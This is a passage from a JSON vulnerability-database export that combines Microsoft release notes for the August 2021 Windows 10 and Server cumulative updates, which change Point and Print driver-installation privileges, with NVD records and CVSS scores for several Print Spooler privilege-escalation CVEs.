2021 servicing stack update (SSU) (KB5004748) or the latest SSU (KB5005412) before installing the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.If you are using Windows Update, the latest SSU will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/home.aspx>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005031>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10, version 1903 and later**Classification**: Security Updates \n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5005031](<https://download.microsoft.com/download/5/9/0/5901bffe-66e8-4289-9077-b87ae1af9813/5005031.csv>). \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005031 (OS Build 18363.1734)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36942", "CVE-2021-36948"], "modified": "2021-08-10T07:00:00", "id": "KB5005031", "href": "https://support.microsoft.com/en-us/help/5005031", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:48", "description": "None\n**6/15/21 \nIMPORTANT **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the machine. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**11/17/20**For information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 2004 update history [home page](<https://support.microsoft.com/en-us/help/4555932>). **Note **Follow [@WindowsUpdate](<https://twitter.com/windowsupdate>) to find out when new content is published to the release information dashboard.\n\n## Highlights\n\n * Updates the default installation privilege requirement so that you must be an administrator to install drivers when using [Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>). \n\n## Improvements and fixes\n\n**Note **To view the list of addressed issues, click or tap the OS name to expand the collapsible section.\n\n### \n\n__\n\nWindows 10, version 21H1\n\nThis security update includes quality improvements. Key changes include:\n\n * This build includes all the improvements from Windows 10, version 2004.\n * No additional issues were documented for this release.\n\n### \n\n__\n\nWindows 10, version 20H2\n\nThis security update includes quality improvements. Key changes include:\n\n * This build includes all the improvements from Windows 10, version 2004.\n * No additional issues were documented for this release.\n\n### \n\n__\n\nWindows 10, version 2004\n\n**Note: **This release also contains updates for Microsoft HoloLens (OS Build 19041.1159) released August 10, 2021. Microsoft will release an update directly to the Windows Update Client to improve Windows Update reliability on Microsoft HoloLens that have not updated to this most recent OS Build.\n\nThis security update includes quality improvements. Key changes include:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n### Windows 10 servicing stack update - 19041.1161, 19042.1161, and 19043.1161\n\n * This update makes quality improvements to the servicing stack, which is the component that installs Windows updates. Servicing stack updates (SSU) ensure that you have a robust and reliable servicing stack so that your devices can receive and install Microsoft updates.\n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptom**| **Workaround** \n---|--- \nWhen using the Microsoft Japanese Input Method Editor (IME) to enter Kanji characters in an app that automatically allows the input of Furigana characters, you might not get the correct Furigana characters. You might need to enter the Furigana characters manually.**Note **The affected apps are using the **ImmGetCompositionString()** function.| This issue is resolved in KB5005101. \nDevices with Windows installations created from custom offline media or custom ISO image might have [Microsoft Edge Legacy](<https://support.microsoft.com/en-us/microsoft-edge/what-is-microsoft-edge-legacy-3e779e55-4c55-08e6-ecc8-2333768c0fb0>) removed by this update, but not automatically replaced by the new Microsoft Edge. This issue is only encountered when custom offline media or ISO images are created by slipstreaming this update into the image without having first installed the standalone servicing stack update (SSU) released March 29, 2021 or later.**Note **Devices that connect directly to Windows Update to receive updates are not affected. This includes devices using Windows Update for Business. Any device connecting to Windows Update should always receive the latest versions of the SSU and latest cumulative update (LCU) without any extra steps. | To avoid this issue, be sure to first slipstream the SSU released March 29, 2021 or later into the custom offline media or ISO image before slipstreaming the LCU. To do this with the combined SSU and LCU packages now used for Windows 10, version 20H2 and Windows 10, version 2004, you will need to extract the SSU from the combined package. Use the following steps to extract the SSU:\n\n 1. Extract the cab from the msu via this command line (using the package for KB5000842 as an example): **expand Windows10.0-KB5000842-x64.msu /f:Windows10.0-KB5000842-x64.cab <destination path>**\n 2. Extract the SSU from the previously extracted cab via this command line: **expand Windows10.0-KB5000842-x64.cab /f:* <destination path>**\n 3. You will then have the SSU cab, in this example named **SSU-19041.903-x64.cab**. Slipstream this file into your offline image first, then the LCU.\nIf you have already encountered this issue by installing the OS using affected custom media, you can mitigate it by directly installing the [new Microsoft Edge](<https://www.microsoft.com/edge>). If you need to broadly deploy the new Microsoft Edge for business, see [Download and deploy Microsoft Edge for business](<https://www.microsoft.com/edge/business/download>). \nAfter installing the June 21, 2021 (KB5003690) update, some devices cannot install new updates, such as the July 6, 2021 (KB5004945) or later updates. You will receive the error message, \"PSFX_E_MATCHING_BINARY_MISSING\".| For more information and a workaround, see KB5005322. \nAfter installing this update, the Encrypted File System (EFS) API [OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>), often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. OpenEncryptedFileRaw will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in CVE-2021-36942.**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \n \n## How to get this update\n\n**Before installing this update**Microsoft now combines the latest servicing stack update (SSU) for your operating system with the latest cumulative update (LCU). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.Prerequisite:For Windows Server Update Services (WSUS) deployment or when installing the standalone package from Microsoft Update Catalog:If your devices do not have the May 11, 2021 update (KB5003173) or later LCU, you **must **install the special standalone August 10, 2021 SSU (KB5005260).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005033>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10, version 1903 and later**Classification**: Security Updates \n \n**If you want to remove the LCU**To remove the LCU after installing the combined SSU and LCU package, use the [DISM/Remove-Package](<https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/dism-operating-system-package-servicing-command-line-options>) command line option with the LCU package name as the argument. You can find the package name by using this command: **DISM /online /get-packages**.Running [Windows Update Standalone Installer](<https://support.microsoft.com/en-us/topic/description-of-the-windows-update-standalone-installer-in-windows-799ba3df-ec7e-b05e-ee13-1cdae8f23b19>) (**wusa.exe**) with the **/uninstall **switch on the combined package will not work because the combined package contains the SSU. You cannot remove the SSU from the system after installation.\n\n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5005033](<https://download.microsoft.com/download/1/e/e/1eeb7268-cb6a-4865-a98b-9c51f0ec7beb/5005033.csv>). For a list of the files that are provided in the servicing stack update, download the [file information for the SSU - version 19041.1161, 19042.1161, and 19043.1161](<https://download.microsoft.com/download/f/7/4/f74513f3-7838-4538-89f5-8be86d571826/SSU_version_19041_1161.csv>). \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005033 (OS Builds 19041.1165, 19042.1165, and 19043.1165)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36942", "CVE-2021-36948"], "modified": "2021-08-10T07:00:00", "id": "KB5005033", "href": "https://support.microsoft.com/en-us/help/5005033", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:38:47", "description": "None\n**6/15/21 \nIMPORTANT **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the machine. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**11/17/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1809 update history home page.\n\n**Note **This release also contains updates for Microsoft HoloLens (OS Build 17763.2114) released August 10, 2021. Microsoft will release an update directly to the Windows Update Client to improve Windows Update reliability on Microsoft HoloLens that have not updated to this most recent OS Build.\n\n## Highlights\n\n * Updates the default installation privilege requirement so that you must be an administrator to install drivers when using [Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>). \n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Changes the default privilege requirement for installing drivers when using Point and Print. After installing this update, you must have administrative privileges to install drivers. If you use Point and Print, see [KB5005652](<https://support.microsoft.com/topic/873642bf-2634-49c5-a23b-6d8e9a302872>), [Point and Print Default Behavior Change](<https://aka.ms/PointPrintMSRCBlog>), and [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) for more information.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing KB4493509, devices with some Asian language packs installed may receive the error, \"0x800f0982 - PSFX_E_MATCHING_COMPONENT_NOT_FOUND.\"| This issue is addressed by updates released June 11, 2019 and later. We recommend you install the latest security updates for your device. Customers installing Windows Server 2019 using media should install the latest [Servicing Stack Update (SSU)](<https://docs.microsoft.com/windows/deployment/update/servicing-stack-updates>) before installing the language pack or other optional components. If using the [Volume Licensing Service Center (VLSC)](<https://www.microsoft.com/licensing/servicecenter/default.aspx>), acquire the latest Windows Server 2019 media available. The proper order of installation is as follows:\n\n 1. Install the latest prerequisite SSU, currently [KB5005112](<https://support.microsoft.com/help/5005112>)\n 2. Install optional components or language packs\n 3. Install latest cumulative update\n**Note** Updating your device will prevent this issue, but will have no effect on devices already affected by this issue. If this issue is present in your device, you will need to use the workaround steps to repair it.**Workaround:**\n\n 1. Uninstall and reinstall any recently added language packs. For instructions, see [Manage the input and display language settings in Windows 10](<https://support.microsoft.com/windows/manage-the-input-and-display-language-settings-in-windows-12a10cb4-8626-9b77-0ccb-5013e0c7c7a2>).\n 2. Click **Check for Updates **and install the April 2019 Cumulative Update or later. For instructions, see [Update Windows 10](<https://support.microsoft.com/windows/update-windows-3c5ae7fc-9fb6-9af1-1984-b5e0412c556a>).\n**Note **If reinstalling the language pack does not mitigate the issue, use the In-Place-Upgrade feature. For guidance, see [How to do an in-place upgrade on Windows](<https://docs.microsoft.com/troubleshoot/windows-server/deployment/repair-or-in-place-upgrade>), and [Perform an in-place upgrade of Windows Server](<https://docs.microsoft.com/windows-server/get-started/perform-in-place-upgrade>). \nAfter installing KB5001342 or later, the Cluster Service might fail to start because a Cluster Network Driver is not found.| This issue occurs because of an update to the PnP class drivers used by this service. After about 20 minutes, you should be able to restart your device and not encounter this issue. \nFor more information about the specific errors, cause, and workaround for this issue, please see KB5003571. \nAfter installing this update, the Encrypted File System (EFS) API [OpenEncryptedFileRaw(A/W)](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>), often used in backup software, will not work when you back up to or from a Windows Server 2008 SP2 device. OpenEncryptedFileRaw will continue to work on all other versions of Windows (local and remote).| This behavior is expected because we addressed the issue in CVE-2021-36942.**Note** If you cannot use backup software on Windows 7 SP1 and Server 2008 R2 SP1 or later after installing this update, contact the manufacturer of your backup software for updates and support. \nAfter installing updates released April 22, 2021 or later, an issue occurs that affects versions of Windows Server that are in use as a Key Management Services (KMS) host. Client devices running Windows 10 Enterprise LTSC 2019 and Windows 10 Enterprise LTSC 2016 might fail to activate. This issue only occurs when using a new Customer Support Volume License Key (CSVLK). **Note** This does not affect activation of any other version or edition of Windows. Client devices that are attempting to activate and are affected by this issue might receive the error, \"Error: 0xC004F074. The Software Licensing Service reported that the computer could not be activated. No Key Management Service (KMS) could be contacted. Please see the Application Event Log for additional information.\"Event Log entries related to activation are another way to tell that you might be affected by this issue. Open **Event Viewer **on the client device that failed activation and go to **Windows Logs **> **Application**. If you see only event ID 12288 without a corresponding event ID 12289, this means one of the following:\n\n * The KMS client could not reach the KMS host.\n * The KMS host did not respond.\n * The client did not receive the response.\nFor more information on these event IDs, see [Useful KMS client events - Event ID 12288 and Event ID 12289](<https://docs.microsoft.com/windows-server/get-started/activation-troubleshoot-kms-general#event-id-12288-and-event-id-12289>).| This issue is resolved in KB5009616. \n \n## How to get this update\n\n**Before installing this update**Prerequisite:You **must **install the May 11, 2021 servicing stack update (SSU) (KB5003243) or the latest SSU (KB5005112) before installing the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.If you are using Windows Update, the latest SSU will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005030>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10**Classification**: Security Updates \n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5005030](<https://download.microsoft.com/download/3/f/c/3fc996a5-7267-4a7c-9a5b-83ade06204dc/5005030.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-10T07:00:00", "type": "mskb", "title": "August 10, 2021\u2014KB5005030 (OS Build 17763.2114)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-36942", "CVE-2021-36948"], "modified": "2021-08-10T07:00:00", "id": "KB5005030", "href": "https://support.microsoft.com/en-us/help/5005030", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2023-05-23T15:30:33", "description": "Windows Print Spooler Elevation of Privilege Vulnerability", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-16T21:15:00", "type": "cve", "title": "CVE-2021-34481", "cwe": ["CWE-269"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481"], "modified": "2023-04-11T18:59:00", "cpe": ["cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_rt_8.1:-", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_10:20h2", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_7:-", "cpe:/o:microsoft:windows_10:1909", "cpe:/o:microsoft:windows_8.1:-", "cpe:/o:microsoft:windows_server_2016:2004", "cpe:/o:microsoft:windows_server_2016:-"], "id": "CVE-2021-34481", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34481", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*"]}, {"lastseen": "2023-05-23T15:39:13", "description": "Windows Print Spooler Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-38671, CVE-2021-40447.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "cve", "title": "CVE-2021-38667", "cwe": ["CWE-269"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", 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"cpe:/o:microsoft:windows_server_2016:2004", "cpe:/o:microsoft:windows_server_2016:-"], "id": "CVE-2021-38667", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-38667", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:microsoft:windows_server_2012:-:r2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:-:*:-:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2022:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", 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"cwe": ["CWE-269"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40447"], "modified": "2021-09-24T18:52:00", "cpe": ["cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_8.1:-", "cpe:/o:microsoft:windows_rt_8.1:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_10:-", 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"HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "cve", "title": "CVE-2021-40447", "cwe": ["CWE-269"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40447"], "modified": "2021-09-24T18:41:00", "cpe": ["cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_8.1:-", "cpe:/o:microsoft:windows_rt_8.1:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_10:20h2", "cpe:/o:microsoft:windows_server_2022:-", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_7:-", "cpe:/o:microsoft:windows_10:1909", "cpe:/o:microsoft:windows_server_2016:20h2", "cpe:/o:microsoft:windows_server_2016:2004", "cpe:/o:microsoft:windows_server_2016:-"], "id": "CVE-2021-40447", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-40447", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:microsoft:windows_server_2012:-:r2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:-:*:-:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2022:-:*:*:*:*:*:*:*", 